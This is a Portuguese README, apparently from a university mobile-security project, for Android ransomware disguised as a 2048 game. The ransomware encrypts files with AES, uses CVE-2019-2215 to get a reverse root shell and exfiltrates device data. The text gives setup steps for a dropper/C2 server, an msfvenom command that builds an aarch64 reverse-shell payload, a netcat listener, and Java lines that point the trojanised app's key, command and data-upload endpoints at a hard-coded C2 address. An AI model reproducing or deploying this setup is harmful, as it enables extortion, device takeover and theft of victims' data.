
Desenvolvimento de Ransomware Android - Criptografia AES256 + CVE-2019-2215 (shell root reverso) + Exfiltração de Dados
Este projeto é exclusivamente para fins educacionais. Este projeto utiliza código de rkshrksh/2048-Game e kangtastic/cve-2019-2215.
Este projeto faz parte do módulo de Segurança Móvel do Singapore Institute of Technology. O projeto foi realizado em 6 semanas e o objetivo era desenvolver uma aplicação Android maliciosa. Ao fazê-lo, ajudou-nos a aprender como os mecanismos de segurança são implementados num sistema operativo Android e como podemos exercitar o OWASP Mobile Top 10:2017 M8 - Code Tampering.
O projeto é uma prova de conceito para demonstrar um ransomware escrito personalizado que utiliza criptografia AES, armando o cve-2019-2215, e também exfiltra dados do dispositivo infectado.
Foi testado no Android 10 e Google Pixel 2 XL.
├── 2048-Game // Android Project Folder
├── 2048-keystore // Test-Keystore
├── cve-2019-2215 // Modified cve-2019-2215
│ └── cve-2019-2215.c
├── dropper_server // Dropper server directory
│ ├── cve-2019-2215 // shells.zip content before zipping
│ ├── dropper_server.py // Dropper server program
│ ├── exfiltrated_data.log
│ ├── masterkeys.txt
│ ├── ncat.exe // Netcat windows binary - for Reverse shell listener
│ ├── requirements.txt
│ ├── shells.zip // shells.zip that is hosted in root of dropper server
│ └── venv
└── test_images // test_images for easy adb push <image.ext> /sdcard/Pictures
Para este teste, certifique-se de que o telefone da vítima e o servidor C2 estão na mesma sub-rede (caso contrário, hospede o C2 na internet pública). Existem 3 endpoints para o servidor C2 que podem ser encontrados em dropper/dropper_server.py:
nc -lvnp 1337 # Idealmente, este deve ser o mesmo IP do servidor dropper
# Gere o payload rs.elf
msfvenom -p linux/aarch64/shell_reverse_tcp LHOST=<Attacker IP> LPORT=<Attacker Port> -f elf > rs.elf
# Melhor executar flask no Windows se o WSL não encaminhar o tráfego localhost para o Windows Host
cd dropper
python3 -m venv venv # Crie o venv
# Ative o venv
. venv/bin/activate # Linux
venv\Scripts\activate.bat # Windows
pip install -r requirements.txt --upgrade pip # Certifique-se de que o shell do host seja root/Administrator
# Execute o servidor C2
python3 dropper_server.py # WSL
python dropper_server.py # Windows
shells.zip em /dropper
Java Classes
// File : 2048-Game/app/src/main/java/aarkay/a2048game/Temproot.java
// Altere o IP e a porta de acordo com o IP e porta do servidor dropper
String URL = "http://192.168.157.73:8080/process_command"; // Line 19
// File : 2048-Game/app/src/main/java/aarkay/a2048game/Encrypt.java
// Altere o IP e a porta de acordo com o IP e porta do servidor dropper
String URL = "http://192.168.157.73:8080/get_mk"; // Line 45
// File : 2048-Game/app/src/main/java/aarkay/a2048game/PostData.java
// Altere o IP e a porta de acordo com o IP e porta do servidor dropper
String urlString = "http://192.168.157.73:8080/postData"; // Line 32